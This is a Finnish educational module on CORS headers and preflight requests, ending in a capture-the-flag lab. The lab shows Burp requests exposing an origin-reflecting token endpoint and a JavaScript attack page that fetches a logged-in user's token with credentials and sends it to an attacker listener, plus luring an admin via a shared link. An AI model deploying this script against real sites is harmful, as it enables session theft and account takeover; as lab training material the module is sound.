Selainturvallisuus

CORS (Cross-Origin Resource Sharing) - Selaimen Epäturvallisuustoiminto

Keskitaso
1 h 30 min

Mikä on CORS?

Viime moduulissa kävimme läpi saman alkuperän politiikan (Same Origin Policy / SOP), jonka tarkoitus on eristää saman selaimen eri ikkunoissa tai välilehdissä olevat verkkosivut toisistaan, kuitenkin mahdollistaen vuorovaikutus eri sivustojen välillä.

Siinä missä SOP on turvallisuusominaisuus, CORS (Cross-Origin Resource Sharing) on turvattomuusominaisuus. Sen ainoa tarkoitus on vapaaehtoisesti luopua joistakin niistä suojista joita SOP antaa, ja väärinymmärrettynä sillä saa nopeasti vakavia tietoturva-aukkoja tehtyä web-sovellukseen.

CORS:illa voi:

  • Antaa vieraan web-sovelluksen lukea vastaukset HTTP-pyyntöihin joita sovellus lähettää sinun sovellukseesi.
  • Antaa vieraan web-sovelluksen lähettää sellaisia evästeillä varustettuja HTTP-pyyntöjä sovellukseesi, joita ei normaalisti saisi lähettää.
  • Antaa vieraan web-sovelluksen lähettää evästeillä varustettuja HTTP-pyyntöjä sovellukseesi, joissa on sellainen HTTP-verbi (kuten vaikkapa PUT) joka ei ole normaalisti sallittuna.
  • Antaa vieraan web-sovelluksen lähettää evästeillä varustettuja HTTP-pyyntöjä sovellukseesi, joissa on sellainen HTTP-otsakkeita tai sellainen sisältötyyppi (Content-Type) joka ei ole normaalisti sallittuna.
  • Antaa vieraan web-sovelluksen lukea mitä tahansa otsakkeita sinun sovelluksesi palauttamista HTTP-vastauksista.

CORS otetaan käyttöön palauttamalla Access-Control- alkuisia HTTP-otsakkeita sovelluksesi HTTP-vastauksissa, katsotaan ne läpi seuraavaksi.

Access-Control-Allow-Origin

Ensimmäinen otsikko on Access-Control-Allow-Origin. Kehittäjät voivat käyttää sitä myöntäessään vieraille sivustoille lukuluvan verkkosivuston resursseille (joka on oletuksena kielletty SOP toimesta).

Mahdolliset arvot ovat tietty alkuperä (kuten https://www.hakatemia.fi) tai mikä tahansa alkuperä (*).

Esimerkki tietystä alkuperästä: Access-Control-Allow-Origin: https://www.hakatemia.fi

Esimerkki wildcard (tähti) alkuperästä:

Access-Control-Allow-Origin: *

Useampi alkuperä ei ole tuettu

Access-Control-Allow-Origin tosiaan tukee vain kahta vaihtoehtoa, yksi tietty alkuperä tai sitten kaikki. Ei ole (valitettavasti) mahdollista tehdä jotain tämän kaltaista:

HTTP-vastaus
Access-Control-Allow-Origin: https://www.hakatemia.fi, https://www.example.com

Rajoitus wildcardin (tähti) käytössä

Et voi käyttää tähteä (mitä tahansa alkuperää) Access-Control-Allow-Origin arvona, jos olet myös sallinut CORS evästeet Access-Control-Allow-Credentials otsakkeella. Tulemme kohta siihen.

Miten voin tukea useampaa CORS -alkuperää?

Käytännössä tämä rajoitus on ratkaistu generoimalla Access-Control-Allow-Origin otsake dynaamisesti koodissa joka HTTP-vastaukseen. Selaimet lähettävät alkuperän (origin) Origin -nimisessä otsakkeessa, jonka arvon voi koodissa lukea ja katsoa sitten, onko se listassa sallittuja origin -arvoja. Jos on, niin voidaan lisätä ko. sallittu origin kyseisen pyynnön HTTP-vastaukseen.

Tässä pitää vain olla tarkkana, ettei tule sallineeksi jotain alkuperää jota ei ollut tarkoitus. Kannattaa käyttää hyvämaineisia, vaikiintuneita CORS-sovelluskirjastoja tai web/sovellusalustan asetuksia tähän.

Access-Control-Allow-Credentials

Oletusarvoisesti CORS ei salli autentikoituja (authenticated) HTTP-pyyntöjä (jotka sisältävät esimerkiksi selaimen käyttäjän evästeet tai varmenteen). Autentikoidut CORS-pyynnöt antavat sivustoille, joille oikeus on myönnetty, täyden luku- ja kirjoitusoikeuden selaimen käyttäjän tietoihin sovelluksessa.

Jos haluat silti ottaa sen käyttöön, voit käyttää Access-Control-Allow-Credentials otsikkoa näin:

HTTP-vastaus
Access-Control-Allow-Credentials: true

Huomaa vain edellä mainittu rajoitus: tämä ei toimi jos Access-Control-Allow-Origin arvo on tähti (mikä tahansa alkuperä).

Huomaa myös, että jos eväste on suojattu SameSite attribuutilla (Lax tai Strict, kumpi tahansa), niin selain ei suostu lähettämään sitä vieraalle sivustolle CORS-määrityksestä huolimatta. SameSite Lax on päällä oletusarvoisesti monissa uusissa selaimissa. Opit SameSite-attribuutista ja evästeiden turvallisuudesta toisessa moduulissa.

Access-Control-Allow-Headers

Jos haluat lähettää mukautettuja otsikoita tai poistaa rajoituksen sisältötyyppi (Content-Type)  otsakkeesta esimerkiksi JSON-pyyntöjen lähettämiseen, voit käyttää Access-Control-Allow-Headers otsikkoa esimerkiksi näin: .

HTTP-vastaus
Access-Control-Allow-Headers: content-type

Access-Control-Allow-Methods

Jos haluat että vieras sivusto voi lähettää web-sovellukseesi muutakin kuin GET, POST, HEAD ja OPTIONS -pyyntöjä, tai jos haluat rajata sallitut metodit pienemmäksi kun oletuksena sallittuna oleva valikoima, voit listata haluamasi HTTP-metodit Access-Control-Allow-Methods otsakkeella:

HTTP-vastaus
Access-Control-Allow-Methods: GET, POST, PATCH

Metodit on pakko listata jos sinulla on CORS-käytännössä muita tekijöitä jotka vaativat preflight-requestin. Katsotaan preflight seuraavaksi.

Preflight

Yksinkertaiset pyynnöt sallittujen luetteloon lisätyillä HTTP-verbeillä, otsikoilla ja sisältötyypeillä lähetetään aina, mutta vastauksen lukeminen vaatii että vastauksessa on mukana asianmukaiset CORS-otsakkeet.

Mutta mistä tietää, saako selain vaikkapa lähettää PUT-pyyntöä vai ei? Jos sen tietäisi vasta PUT-pyynnön vastauksesta (onko siinä CORS-headerit jotka sallivat PUT-pyynnöt), olisi jo myöhäistä, koska pyyntö olisi jo lähetetty.

Se on hyvä kysymys, ja vastaus on yksinkertainen: lähetämme kaksi pyyntöä.

Selain lähettää ensin OPTIONS -pyynnön, jonka mukana on Origin request headeri. Tähän OPTIONS pyyntöön web-palvelin voi palauttaa CORS-otsakkeet, joiden perusteella selain tietää, voidaanko jatkaa (tässä tapauksessa lähettää PUT-pyyntö) vai näytetäänkö virhe selaimen konsolissa ja lopetetaan.

Tätä ensimmäistä OPTIONS -pyyntöä kutsutaan preflight, tai suoraan suomennettuna “esilento” pyynnöksi.

Harjoitus

Tehdään hyökkäys hyväksikäyttäen sovelluksen virheellistä CORS-konfiguraatiota jolla otetaan admin-käyttäjän tili haltuun. Käynnistä harjoitus ja lue eteenpäin.

Vaarallinen CORS Konfiguraatio

Tässä labrassa huijaat järjestelmänvalvojan siirtymään haitalliselle verkkosivustolle, joka käyttää virheellisesti määritettyä CORS-päätepistettä varastaakseen järjestelmänvalvojan tunnuksen. Tämän jälkeen käytät admin-käyttäjän istunto-tokenia lipun lukemiseen.

Tavoite

Lue lippu /api/v1/flag endpointista.

Tehtävät

Flag

Löydä lippu (flag) labraympäristöstä ja syötä se alle.

Haavoituvuuden löytäminen

Kirjaudu labrasovellukseen selaimella jossa on BurpSuite välissä, jotta näet HTTP-liikenteen. HTTP-historiasta sinun pitäisi löytää GET /auth/token pyyntö. Lähetä se repeaterille.

HTTP-Pyyntö
GET /auth/token HTTP/1.1
Host: www-7zepddd9r9.ha-target.com

Cookie: SessionId=.eJwljklqA0EMAP_...

Vastaus
HTTP/1.1 201 CREATED
Content-Type: application/json
...

{"token":"eyJ0eXAiOi...""}

Tässä vaiheessa vastauksessa ei näy vielä mitään haavoittuvuuteen viittaavaa. Kyseessä on ihan normaali token-endpoint josta saa haettua evästeen perusteella JWT-tokenin, jolla voi sitten tyypillisesti kutsua jotain rajapintaa.

Sovellukset palauttavat CORS-otsakkeensa yleensä vasta kun on pakko, eli kun selaimelta tulee sellainen pyyntö, jossa on Origin -otsake määritettynä. Lisää siis se HTTP-pyyntöön, voit käyttää vaikka https://www.example.com arvona.

HTTP-Pyyntö
GET /auth/token HTTP/1.1
Host: www-7zepddd9r9.ha-target.com
Origin: https://www.example.com
Cookie: SessionId=.eJwljklqA0EMAP_...

Vastaus
HTTP/1.1 201 CREATED
Access-Control-Allow-Origin: https://www.example.com
Access-Control-Allow-Credentials: true
Content-Type: application/json
...

{"token":"eyJ0eXAiOi...""}

Ohhoh, sovelluksen CORS-asetukset on tehty äärimmäisen vaarallisesti. Ensinnäkin sovellus hyväksyy minkä tahansa alkuperän, ja toisekseen sovellus palauttaa Access-Control-Allow-Credentials: true joka sallii vielä evästeidenkin lähetyksen CORS-pyynnön mukana.

Hyökkäyksen kulku

Hyökkäys kulkee seuraavasti:

  • Luodaan HTML-sivu joka hakee tokenin labrasovelluksen /auth/token endpointista kirjautuneen käyttäjän evästeillä ja lähettää sen hyökkääjän kuuntelijaan.
  • Huijataan labrasovelluksen admin-käyttäjä vierailemaan sivustolla (käytetään tässä linkinjakopalvelua hyväksi).
  • Odotetaan että saadaan adminin token kuuntelijaan, ja sitten haetaan lippu adminin tokenilla.

Hyökkääjän kuuntelija

Voit seurata hyökkääjän web-palvelun lokeja käynnistämällä terminaali VSCodesta ja ajamalla seuraava komento:

tail -f /var/log/apache2/access.log

Hyökkäyssivu

Avaa root/web/index.html tiedosto ja lisää sinne seuraava HTML:

<script>
    const kuuntelijaUrl = "https://web-SINUN_LABRAN_ID.ha-student.com";
    const labraUrl = "https://www-SINUN_LABRAN_ID.ha-target.com"
    async function attack() {
        const res = await fetch(labraUrl + "/auth/token", {mode: 'cors', credentials: "include"})
        const resJson = await res.json();
        const token = resJson.token;
        await fetch(kuuntelijaUrl + "/?token=" + token)
    }
    attack();
</script>

Kokeile itselläsi

Kirjaudu sovellukseen student-käyttäjänä ja vieraile sen jälkeen samassa selaimessa hyökkäyssivulla. Sinun pitäisi nähdä tyhjä sivu, mutta jos katsot burpista HTTP-historiaa, sinun pitäisi nähdä kuinka token haetaan ja postitetaan sitten hyökkääjän kuuntelijaan.

Tarkista myös kuuntelija, sinne pitäisi olla ilmestynyt oma tokenisi.

Hyökkäys

On aika ottaa admin-käyttäjän tili haltuun. Jaa linkki palveluun ja odota että admin käy klikkaamassa sitä.

Kun kuuntelijaasi ilmestyy admini token, voit käydä hakemassa /api/v1/flag endpointista lipun antamalla tokeni "Authorization" headerina.

hakatemia pro

Valmis ryhtymään eettiseksi hakkeriksi?
Aloita jo tänään.

Hakatemian jäsenenä saat rajoittamattoman pääsyn Hakatemian moduuleihin, harjoituksiin ja työkaluihin, sekä pääset discord-kanavalle jossa voit pyytää apua sekä ohjaajilta että muilta Hakatemian jäseniltä.